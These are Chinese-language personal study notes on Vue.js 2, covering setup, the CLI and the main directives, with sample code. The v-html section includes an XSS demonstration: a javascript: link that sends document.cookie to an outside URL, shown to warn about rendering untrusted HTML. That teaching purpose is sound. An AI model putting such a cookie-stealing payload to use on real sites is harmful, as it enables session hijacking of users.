vue.js开发环境

关于作者

尤雨溪是Vue.js框架的作者,他是我最佩服的华人程序员之一,他的编码经历深深的激励着我。

程序员最讲究的就是作品,光说没用,代码要拿出来溜溜!所以现在程序员都得有自己的GitHub。

Vue作者尤雨溪:以匠人的态度不断打磨完善Vue(图灵访谈) - 百度文库 (baidu.com)

他还是位老二次元哈哈哈,不同版本都用经典动漫和小说作为版本名称

版本 发布日期 版本名称
3.2 2021年8月5日 Quintessential Quintuplets[12]
3.1 2021年6月7日 Pluto[13]
3.0 2020年9月18日 One Piece[14]
2.6 2019年2月4日 Macross[15]
2.5 2017年10月13日 Level E[16]
2.4 2017年7月13日 Kill la Kill[17]
2.3 2017年4月27日 JoJo’s Bizarre Adventure[18]
2.2 2017年2月26日 Initial D[19]
2.1 2016年11月22日 Hunter X Hunter[20]
2.0 2016年9月30日 Ghost in the Shell[21]
1.0 2015年10月27日 Evangelion[22]
0.12 2015年6月12日 Dragon Ball[23]
0.11 2014年11月7日 Cowboy Bebop[24]
0.10 2014年3月23日 Blade Runner[25]
0.9 2014年2月25日 Animatrix[26]
0.8 2014年1月27日 不适用 [27]
0.7 2013年12月24日 不适用 [28]
0.6 2013年12月8日 VueJS [29]

关于vscode

1
2
3
Vue 3 Snippets:快速生成Vue3代码的插件
Vetur 的特性: 语法高亮, 代码片段 (emmet 给我的感觉是一个写好了的 snippet), 质量提示 & 错误、格式化 / 风格、智能提示等。
<script src="https://cdn.staticfile.org/vue/2.7.0/vue.min.js">
1
Vue.config.productionTip = false//设置为 false 以阻止 vue 在启动时生成生产提示。

认识vue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<div id="root">
<h1>Hello,宋宇然</h1>
<h1>我的年龄为:{{name}}</h1>
</div>
<script>
//const x =
new Vue({
el: '#root',//element
data: {
name: 'a'
}
}
)
</script>

想让vue工作要先创建vue实例,root容器代码依然符合html规范只不过里面引入了特殊的vue语法而已,root里面的代码称之为vue模板

插值语法

v-on

绑定事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div id="root">

<img v-bind:src="url" alt="">
<button v-on:click="sayHi"> d点我</button>
<button @click="sayHi"> d点我</button>

</div>
<script>
new Vue({
el: "#root",
data: {
url: "../"
},
methods: {
sayHi() {
alert("hello")
}
},
})
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>

<body>
<div id="root">

<img v-bind:src="url" alt="">
<button v-on:click="sayHi"> d点我</button>
<button @click="changImg"> d点我</button>

</div>
<script>
new Vue({
el: "#root",
data: {
url: "1.png"
},
methods: {
sayHi() {
alert("hello")
},
changImg() {
this.url = "2.png"
}
},
})
</script>
</body>

</html>

v-on绑定方法

v-bind 绑定属性

绑定文本

1
2
3
npm install -g cnpm --registry=https://registry.npm.taobao.org


脚手架

1
2
3
npm install -g @vue/cli
使用vue项目 vue create hello
启动服务器 npm run serve

创建vue项目

创建项目

执行:vue create xxxx xxxx是项目名,不要大写和特殊符号

数据双向绑定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

<body>
<div id="app">
<input v-model="message">
<input v-model="formData.username"><br>
<input v-model="formData.password">
<button v-on:click="subit">提交</button>
<p>{{ message }}</p>
</div>
<script>
new Vue({
el: "#app",
data: {
number: 0,
message: "hello",
formData: {
username: '',
password: '',
}
},
methods: {
subit() {
console.log(this.formData)
}
},

})
</script>
</body>

条件和循环

控制切换一个元素是否显示也相当简单:

1
2
3
4
5
6
7
8
9
<div id="app-3">
<p v-if="seen">现在你看到我了</p>
</div>
var app3 = new Vue({
el: '#app-3',
data: {
seen: true
}
})

现在你看到我了

继续在控制台输入 app3.seen = false,你会发现之前显示的消息消失了。

1

外,Vue 也提供一个强大的过渡效果系统,可以在 Vue 插入/更新/移除元素时自动应用过渡效果

还有其它很多指令,每个都有特殊的功能。例如,v-for 指令可以绑定数组的数据来渲染一个项目列表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<div id="app-4">
<ol>
<li v-for="todo in todos">
{{ todo.text }}
</li>
</ol>
</div>
var app4 = new Vue({
el: '#app-4',
data: {
todos: [
{ text: '学习 JavaScript' },
{ text: '学习 Vue' },
{ text: '整个牛项目' }
]
}
})
  1. 学习 JavaScript
  2. 学习 Vue
  3. 整个牛项目

在控制台里,输入 app4.todos.push({ text: '新项目' }),你会发现列表最后添加了一个新项目。

Vue 还提供了 v-model 指令,它能轻松实现表单输入和应用状态之间的双向绑定。

1
2
3
4
5
6
7
8
9
10
<div id="app-6">
<p>{{ message }}</p>
<input v-model="message">
</div>
var app6 = new Vue({
el: '#app-6',
data: {
message: 'Hello Vue!'
}
})

事件修饰符

  • prevent 阻止默认事件
  • stop 阻止事件冒泡
  • once 事只能触发一次

键盘事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>

<body>
<div id="app">
<h2>欢迎来学习</h2>
<input type="text" placeholder="回车后提示输入 " @keyup.enter="a">
</div>
<script>
new Vue({
el: '#app',
methods: {
a(e) {

console.log(e.target.value)
}
},
})
</script>
</body>

</html>

计算属性computed

1
2
3
4
5
6
7
conputed{
fullname:{
get(){
//get 当读取fullname时get就会被调用作为返回值
}
}
}

监视

1
2
3
4
5
6
7
watch: {
isHot: {
handler() {
console.log("修改了")
}
}
}
1
2
3
vm.$watch{

}

条件渲染

v-show

1
2
3
4
5
6
7
8
<div id="app">
<h2 v-show="false">aaaaa</h2>
</div>
<script>
new Vue({
el: '#app'
})
</script>
1
2
3
4
v-if
<div id="app">
<h2 v-if="11==1">aaaaa</h2>
</div>

列表渲染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<body>
<div id="root">
<ui>
<li v-for="person in persons" :key="person.id">{{person.name}}-{{person.age}}</li>


</ui>
</div>
<script>
new Vue({
el: '#root',
data: {
persons: [
{ id: '01', name: '宋宇然', age: 17 },
{ id: '02', name: '市政厅', age: 19 },
{ id: '03', name: '虞美人', age: 15 },

]
}
})
</script>
<!-- key要写-->

关于key为什么要写

如果是在这种情况下li里面夹着input,add一个新的列表,会改变input的值,无法同步,这时候key就又存在的必要性了

(99条消息) Vue中key的作用及原理_纸照片的博客-CSDN博客_vue中的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="(p,index) of filPerons" :key="index">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.13/vue.js"></script>
<script>
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 20, sex: '女' },
{ id: '003', name: '周杰伦', age: 21, sex: '男' },
{ id: '004', name: '温兆伦', age: 22, sex: '男' }
],
filPerons: []
},
watch: {
keyWord: {
immediate: true,
handler(val) {
this.filPerons = this.persons.filter((p) => {
return p.name.indexOf(val) !== -1
})
}
}
}
})
</script>
</body>

vue更新的问题

1
2
3
4
5
6
7
updateMei() {
// this.persons[0].name = '马老师' //奏效
// this.persons[0].age = 50 //奏效
// this.persons[0].sex = '男' //奏效
// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
this.persons.splice(0, 1, { id: '001', name: '马老师', age: 50, sex: '男' })
}
1
2
3
4
addSex(){
// Vue.set(this.student,'sex','男')
this.$set(this.student,'sex','男')
}

​ <!–

​ Vue监视数据的原理:

​ \1. vue会监视data中所有层次的数据。

​ \2. 如何监测对象中的数据?

​ 通过setter实现监视,且要在new Vue时就传入要监测的数据。

​ (1).对象中后追加的属性,Vue默认不做响应式处理

​ (2).如需给后添加的属性做响应式,请使用如下API:

​ Vue.set(target,propertyName/index,value) 或

​ vm.$set(target,propertyName/index,value)

​ \3. 如何监测数组中的数据?

​ 通过包裹数组更新元素的方法实现,本质就是做了两件事:

​ (1).调用原生对应的方法对数组进行更新。

​ (2).重新解析模板,进而更新页面。

​ 4.在Vue修改数组中的某个元素一定要用如下方法:

​ 1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

​ 2.Vue.set() 或 vm.$set()

​ 特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!

​ -->

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<!-- 		
收集表单数据:
若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
备注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
-->

<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
密码:<input type="password" v-model="userInfo.password"> <br/><br/>
年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
性别:
<input type="radio" name="sex" v-model="userInfo.sex" value="male">
<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br/><br/>
所属校区
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br/><br/>
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>

<script type="text/javascript">
Vue.config.productionTip = false

new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:18,
sex:'female',
hobby:[],
city:'beijing',
other:'',
agree:''
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>
</html>

v-text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<body>
<!--
我们学过的指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
v-text指令:
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
-->
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>

v-html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<body>
<!--
v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
-->
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>

<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>

以上为旧笔记

vue常用的指令

  • 内容渲染指令(v-html、v-text)
1
2
3
4
5
6
7
8
9
10
11
12
13
- v-text(类似innerText)


- - 使用语法:`<p v-text="uname">hello</p>`,意思是将 uame 值渲染到 p 标签中
- 类似 innerText,使用该语法,会覆盖 p 标签原有内容


- v-html(类似 innerHTML)


- - 使用语法:`<p v-html="intro">hello</p>`,意思是将 intro 值渲染到 p 标签中
- 类似 innerHTML,使用该语法,会覆盖 p 标签原有内容
- 类似 innerHTML,使用该语法,能够将HTML标签的样式呈现出来。
  • 条件渲染指令(v-show、v-if、v-else、v-else-if)
1
2
3
4
5
6
7
8
9
10
1. v-show
1. 作用: 控制元素显示隐藏
2. 语法: v-show = "表达式" 表达式值为 true 显示, false 隐藏
3. 原理: 切换 display:none 控制显示隐藏
4. 场景:频繁切换显示隐藏的场景
2. v-if
1. 作用: 控制元素显示隐藏(条件渲染)
2. 语法: v-if= "表达式" 表达式值 true显示, false 隐藏
3. 原理: 基于条件判断,是否创建 或 移除元素节点
4. 场景: 要么显示,要么隐藏,不频繁切换的场景
  • 事件绑定指令(v-on)
1
2
3
4
- <button v-on:事件名="内联语句">按钮</button>
- <button v-on:事件名="处理函数">按钮</button>
- <button v-on:事件名="处理函数(实参)">按钮</button>
- `v-on:` 简写为 **@**
  • 属性绑定指令 (v-bind)
1
2
3
1. **作用:**动态设置html的标签属性 比如:src、url、title
2. **语法**:**v-bind:**属性名=“表达式”
3. **v-bind:**可以简写成 => **:**
  • 双向绑定指令(v-model)
1
2
3
4
5
6
7
8
9
10
11
12
13
所谓双向绑定就是:

1. 数据改变后,呈现的页面结果会更新
2. 页面结果更新后,数据也会随之而变

**作用:** 给**表单元素**(input、radio、select)使用,双向绑定数据,可以快速 **获取** 或 **设置** 表单元素内容

**语法:**v-model="变量"

**需求:**使用双向绑定实现以下需求

1. 点击登录按钮获取表单中的内容
2. 点击重置按钮清空表单中的内容
  • 列表渲染指令(v-for)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
**语法:** key="唯一值"

**作用:**给列表项添加的**唯一标识**。便于Vue进行列表项的**正确排序复用**。

**为什么加key:**Vue 的默认行为会尝试原地修改元素(**就地复用**)

实例代码:

```js
<ul>
  <li v-for="(item, index) in booksList" :key="item.id">
    <span>{{ item.name }}</span>
    <span>{{ item.author }}</span>
    <button @click="del(item.id)">删除</button>
  </li>
</ul>
```

注意:

1. key 的值只能是字符串 或 数字类型
2. key 的值必须具有唯一性
3. 推荐使用 id 作为 key(唯一),不推荐使用 index 作为 key(会变化,不对应)
  • 指令是 vue 开发中最基础、最常用、最简单的知识点。